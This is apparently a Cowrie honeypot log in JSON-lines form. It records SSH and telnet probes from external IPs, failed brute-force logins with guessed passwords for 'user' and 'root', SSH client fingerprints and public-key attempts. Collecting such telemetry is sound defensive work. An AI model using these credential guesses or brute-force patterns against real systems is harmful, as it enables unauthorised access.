{"eventid":"cowrie.login.failed","username":"user","password":"19011977","message":"login attempt [user/19011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:37.814733Z","src_ip":"2.57.121.25","session":"624fed61f6e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55716,"dst_ip":"10.17.0.5","dst_port":23,"session":"1076f7f76c53","protocol":"telnet","message":"New connection: 152.42.224.71:55716 (10.17.0.5:23) [session: 1076f7f76c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:38.176631Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"180985","message":"login attempt [user/180985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:38.921899Z","src_ip":"2.57.121.25","session":"624fed61f6e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18091994","message":"login attempt [user/18091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:40.028726Z","src_ip":"2.57.121.25","session":"624fed61f6e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55738,"dst_ip":"10.17.0.5","dst_port":23,"session":"3beb7149be18","protocol":"telnet","message":"New connection: 152.42.224.71:55738 (10.17.0.5:23) [session: 3beb7149be18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:40.285803Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55724,"dst_ip":"10.17.0.5","dst_port":23,"session":"50448f4358c8","protocol":"telnet","message":"New connection: 152.42.224.71:55724 (10.17.0.5:23) [session: 50448f4358c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:40.662820Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"180883","message":"login attempt [user/180883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:41.135499Z","src_ip":"2.57.121.25","session":"624fed61f6e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.195.26.15","src_port":57439,"dst_ip":"10.17.0.5","dst_port":23,"session":"e310dc73f48b","protocol":"telnet","message":"New connection: 27.195.26.15:57439 (10.17.0.5:23) [session: e310dc73f48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:41.388242Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:42.244372Z","src_ip":"2.57.121.25","session":"624fed61f6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01252841949463,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:55.400995Z","src_ip":"152.42.224.71","session":"5ac40c48bcd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.293585538864136,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:55.681674Z","src_ip":"27.195.26.15","session":"e310dc73f48b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":80.39006924629211,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:02.913219Z","src_ip":"152.42.224.71","session":"f50973d789be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.131.184.100","src_port":23776,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc3847dcfc6a","protocol":"ssh","message":"New connection: 23.131.184.100:23776 (10.17.0.5:22) [session: bc3847dcfc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.588365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.594404Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.642726Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:0f:c7:47:24:7e:77:29:1c:18:d9:e6:41:01:d2:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3vWJjywM08pKDKk+lLt6pal+9BHolN1ko2raXlvei4bJrDxCcZnMaDeThTAWK5uFiD65+h0G9wyK7vekpTcaBdYzeFZgwjo90AxyZvRl6ibI1Tp5CLur72aNQsWF8Zvro5IrKrUAJzBG10d8HqEgPcwNpdpHeA6Deec8739OKgu6P0T9wDZdTakrEKZI+U2eiYjrsCqFg9sUKPT1uemy0viZvdZ8kKi5oFdDb8QXW1hiaawnAK+UpPmZDC72V6ZkU4Bbq2BW8G1Oy2v++eo3dW9yCYePa4DzaAH0Z6ytFDFBRbVixKmQ3DxRVL1jiFYr7plD9pacXmcshDXb8yOj9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:0f:c7:47:24:7e:77:29:1c:18:d9:e6:41:01:d2:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.852646Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:0f:c7:47:24:7e:77:29:1c:18:d9:e6:41:01:d2:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3vWJjywM08pKDKk+lLt6pal+9BHolN1ko2raXlvei4bJrDxCcZnMaDeThTAWK5uFiD65+h0G9wyK7vekpTcaBdYzeFZgwjo90AxyZvRl6ibI1Tp5CLur72aNQsWF8Zvro5IrKrUAJzBG10d8HqEgPcwNpdpHeA6Deec8739OKgu6P0T9wDZdTakrEKZI+U2eiYjrsCqFg9sUKPT1uemy0viZvdZ8kKi5oFdDb8QXW1hiaawnAK+UpPmZDC72V6ZkU4Bbq2BW8G1Oy2v++eo3dW9yCYePa4DzaAH0Z6ytFDFBRbVixKmQ3DxRVL1jiFYr7plD9pacXmcshDXb8yOj9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.859594Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:bb:f8:aa:38:32:06:98:88:f2:c2:07:fc:f0:ca:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6vKgk+d+liyz0uCFR7f1CfDrqeSs0O2SKbRmx8hAt1DQexpQyaOjQHE8OpFI8t53Pt3AUiAcnb+8QNo54jmI3Iy61uyHoal9EbLyLM+Ef5PB9c3XAn7+n40ow6vPEGZxgigLiwuwfXXQZvx+zPJa2E+R4tQ/it7D1aKKCuHfBJsOAJqYuObGvwFuxPDtKyNMGcy3bovf96oFrVe3HN3R0kDcSxeqWqEVTY5uoIbS3IsmuaXHsH9Q7wMfH48Glr8NtvVyYjSgaSKgEuL6Mzub2ELMPc/hMV+/Un7lSOCq8Z1WbGvTOuuv7N0L7HvM7cvTBr8MUbxXjEaqWQ5pOkNIj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:bb:f8:aa:38:32:06:98:88:f2:c2:07:fc:f0:ca:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.907640Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:bb:f8:aa:38:32:06:98:88:f2:c2:07:fc:f0:ca:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6vKgk+d+liyz0uCFR7f1CfDrqeSs0O2SKbRmx8hAt1DQexpQyaOjQHE8OpFI8t53Pt3AUiAcnb+8QNo54jmI3Iy61uyHoal9EbLyLM+Ef5PB9c3XAn7+n40ow6vPEGZxgigLiwuwfXXQZvx+zPJa2E+R4tQ/it7D1aKKCuHfBJsOAJqYuObGvwFuxPDtKyNMGcy3bovf96oFrVe3HN3R0kDcSxeqWqEVTY5uoIbS3IsmuaXHsH9Q7wMfH48Glr8NtvVyYjSgaSKgEuL6Mzub2ELMPc/hMV+/Un7lSOCq8Z1WbGvTOuuv7N0L7HvM7cvTBr8MUbxXjEaqWQ5pOkNIj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.913693Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:ab:78:61:ff:5b:08:47:31:20:6a:33:90:64:fe:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHiZ5EUSiHWjwg4pLQxQFeO6HgltwC2CHpwqfwn0N+yE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a6:ab:78:61:ff:5b:08:47:31:20:6a:33:90:64:fe:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.962638Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:ab:78:61:ff:5b:08:47:31:20:6a:33:90:64:fe:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHiZ5EUSiHWjwg4pLQxQFeO6HgltwC2CHpwqfwn0N+yE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:06.969964Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:4d:73:bd:78:53:3b:48:ed:f3:04:5c:e3:4a:35:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3T/Kqoofv3nv0th992ngG1Im0vIflwtxOU/NKqnyq0YIIocHLmRiH6mqGhWmsR8poHfDBpkhvavM80+McnlcLwokHtV1XEDw41c9DBclh6qgX7iMDSW6bRBI8KJ0NKSSVsaauXaV7afjbAIp3KNfHP0YZVOOO/tJciFLejKVDkXK+9ROAMeWrCgvdkvyZk07TpheP9SnL5ve5CaD8OgQRutxxKv1CT5Ezt/oc5CbNRjI2YvkY4b/7Rk7DLNZMEC5lQKX7qjnzs7Ofyb70HJtmk9QTIzHDbB26D5MvMTg2u6ZQ4NLCxKuBx4cud3AE9lXG2SSoFKuWKDXLbMaK8fLX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:4d:73:bd:78:53:3b:48:ed:f3:04:5c:e3:4a:35:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:07.019895Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:4d:73:bd:78:53:3b:48:ed:f3:04:5c:e3:4a:35:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3T/Kqoofv3nv0th992ngG1Im0vIflwtxOU/NKqnyq0YIIocHLmRiH6mqGhWmsR8poHfDBpkhvavM80+McnlcLwokHtV1XEDw41c9DBclh6qgX7iMDSW6bRBI8KJ0NKSSVsaauXaV7afjbAIp3KNfHP0YZVOOO/tJciFLejKVDkXK+9ROAMeWrCgvdkvyZk07TpheP9SnL5ve5CaD8OgQRutxxKv1CT5Ezt/oc5CbNRjI2YvkY4b/7Rk7DLNZMEC5lQKX7qjnzs7Ofyb70HJtmk9QTIzHDbB26D5MvMTg2u6ZQ4NLCxKuBx4cud3AE9lXG2SSoFKuWKDXLbMaK8fLX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:07.024794Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:13:30:17:e0:47:41:30:29:d7:21:d5:b9:98:72:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUgiWnU3zUEM3kRv3DS3oii9GY0ed+Nwmaqiisn6sEU9C7AKVTNHoOyGLCN1XQw5GK+uhxGcx65f6CeE4cHwos3exL3qLabD8Xyr2FOIngjxI+FMyVDBGe2MziKteeK/icRcAsoSurEGJfxeaAtsyxb2qFyEte0urDhl7iq60DF3+ITBRSoripk199sjNVRlPPpHkq0G9RmZ2LyOnB4UOObGGDy+nRcn28z9I5SHcBDc0xdhyhaLBLFyrkAF6KcWoIH5UOGsCwumqE114phQS85Eotii2wFEyFBkGMXKahaVSNthCqnV8tXxzvc4U6Q7yTmbVhZRZ0TwNc1B8RMaKx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:13:30:17:e0:47:41:30:29:d7:21:d5:b9:98:72:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:07.075411Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:13:30:17:e0:47:41:30:29:d7:21:d5:b9:98:72:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUgiWnU3zUEM3kRv3DS3oii9GY0ed+Nwmaqiisn6sEU9C7AKVTNHoOyGLCN1XQw5GK+uhxGcx65f6CeE4cHwos3exL3qLabD8Xyr2FOIngjxI+FMyVDBGe2MziKteeK/icRcAsoSurEGJfxeaAtsyxb2qFyEte0urDhl7iq60DF3+ITBRSoripk199sjNVRlPPpHkq0G9RmZ2LyOnB4UOObGGDy+nRcn28z9I5SHcBDc0xdhyhaLBLFyrkAF6KcWoIH5UOGsCwumqE114phQS85Eotii2wFEyFBkGMXKahaVSNthCqnV8tXxzvc4U6Q7yTmbVhZRZ0TwNc1B8RMaKx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:07.079953Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:07.139491Z","src_ip":"23.131.184.100","session":"bc3847dcfc6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35650,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb557aabb6a8","protocol":"telnet","message":"New connection: 152.42.224.71:35650 (10.17.0.5:23) [session: cb557aabb6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:08.734221Z"}
{"eventid":"cowrie.session.closed","duration":32.71046566963196,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:13.373200Z","src_ip":"152.42.224.71","session":"50448f4358c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60108,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a41dde46cec","protocol":"telnet","message":"New connection: 152.42.224.71:60108 (10.17.0.5:23) [session: 0a41dde46cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:22.015692Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.3","src_port":60540,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e231889c40","protocol":"telnet","message":"New connection: 85.217.149.3:60540 (10.17.0.5:23) [session: 79e231889c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:40.066844Z"}
{"eventid":"cowrie.session.closed","duration":0.02930474281311035,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:40.096003Z","src_ip":"85.217.149.3","session":"79e231889c40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.108203649520874,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:41.842283Z","src_ip":"152.42.224.71","session":"cb557aabb6a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33468,"dst_ip":"10.17.0.5","dst_port":23,"session":"4469f891a3c3","protocol":"telnet","message":"New connection: 152.42.224.71:33468 (10.17.0.5:23) [session: 4469f891a3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:47.244843Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.172.62.7","src_port":41829,"dst_ip":"159.203.135.109","dst_port":23,"session":"864d21c068ab","protocol":"telnet","message":"New connection: 118.172.62.7:41829 (159.203.135.109:23) [session: 864d21c068ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:47.394399Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53668,"dst_ip":"10.17.0.5","dst_port":22,"session":"787bee601273","protocol":"ssh","message":"New connection: 103.153.68.219:53668 (10.17.0.5:22) [session: 787bee601273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:53.189465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:53.194456Z","src_ip":"103.153.68.219","session":"787bee601273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:53.440123Z","src_ip":"103.153.68.219","session":"787bee601273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinka","message":"login attempt [root/alinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:54.177711Z","src_ip":"103.153.68.219","session":"787bee601273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:09:55.427667Z","src_ip":"103.153.68.219","session":"787bee601273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.792675971984863,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:00.186996Z","src_ip":"118.172.62.7","session":"864d21c068ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.651796102523804,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:01.896550Z","src_ip":"152.42.224.71","session":"4469f891a3c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":83.5353524684906,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:03.821071Z","src_ip":"152.42.224.71","session":"3beb7149be18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8f83c0c549","protocol":"telnet","message":"New connection: 152.42.224.71:56676 (10.17.0.5:23) [session: 5c8f83c0c549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:18.452936Z"}
{"eventid":"cowrie.session.closed","duration":102.91863369941711,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:21.095153Z","src_ip":"152.42.224.71","session":"1076f7f76c53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0278efe0de","protocol":"telnet","message":"New connection: 152.42.224.71:54688 (10.17.0.5:23) [session: ee0278efe0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:36.557420Z"}
{"eventid":"cowrie.session.closed","duration":27.2460777759552,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:45.698834Z","src_ip":"152.42.224.71","session":"5c8f83c0c549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59742,"dst_ip":"10.17.0.5","dst_port":23,"session":"755a58038e1d","protocol":"telnet","message":"New connection: 152.42.224.71:59742 (10.17.0.5:23) [session: 755a58038e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:52.039486Z"}
{"eventid":"cowrie.session.closed","duration":92.06624841690063,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:10:54.081853Z","src_ip":"152.42.224.71","session":"0a41dde46cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40074,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ff554f53246","protocol":"ssh","message":"New connection: 103.195.236.96:40074 (10.17.0.5:22) [session: 2ff554f53246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:14.413918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:14.419355Z","src_ip":"103.195.236.96","session":"2ff554f53246","protocol":"ssh"}
